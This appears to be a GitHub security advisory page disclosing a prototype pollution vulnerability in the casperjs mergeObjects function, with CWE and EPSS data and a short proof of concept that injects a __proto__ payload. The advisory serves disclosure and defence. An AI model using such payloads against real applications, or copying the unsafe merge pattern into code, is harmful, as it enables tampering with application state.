Lucene search

K
githubGitHub Advisory DatabaseGHSA-VRR3-5R3V-7XFW
HistoryMay 17, 2021 - 9:00 p.m.

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

2021-05-1721:00:52
CWE-915
CWE-1321
GitHub Advisory Database
github.com
46

0.007 Low

EPSS

Percentile

81.0%

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"
CPENameOperatorVersion
casperjsle1.1.4

0.007 Low

EPSS

Percentile

81.0%

Related for GHSA-VRR3-5R3V-7XFW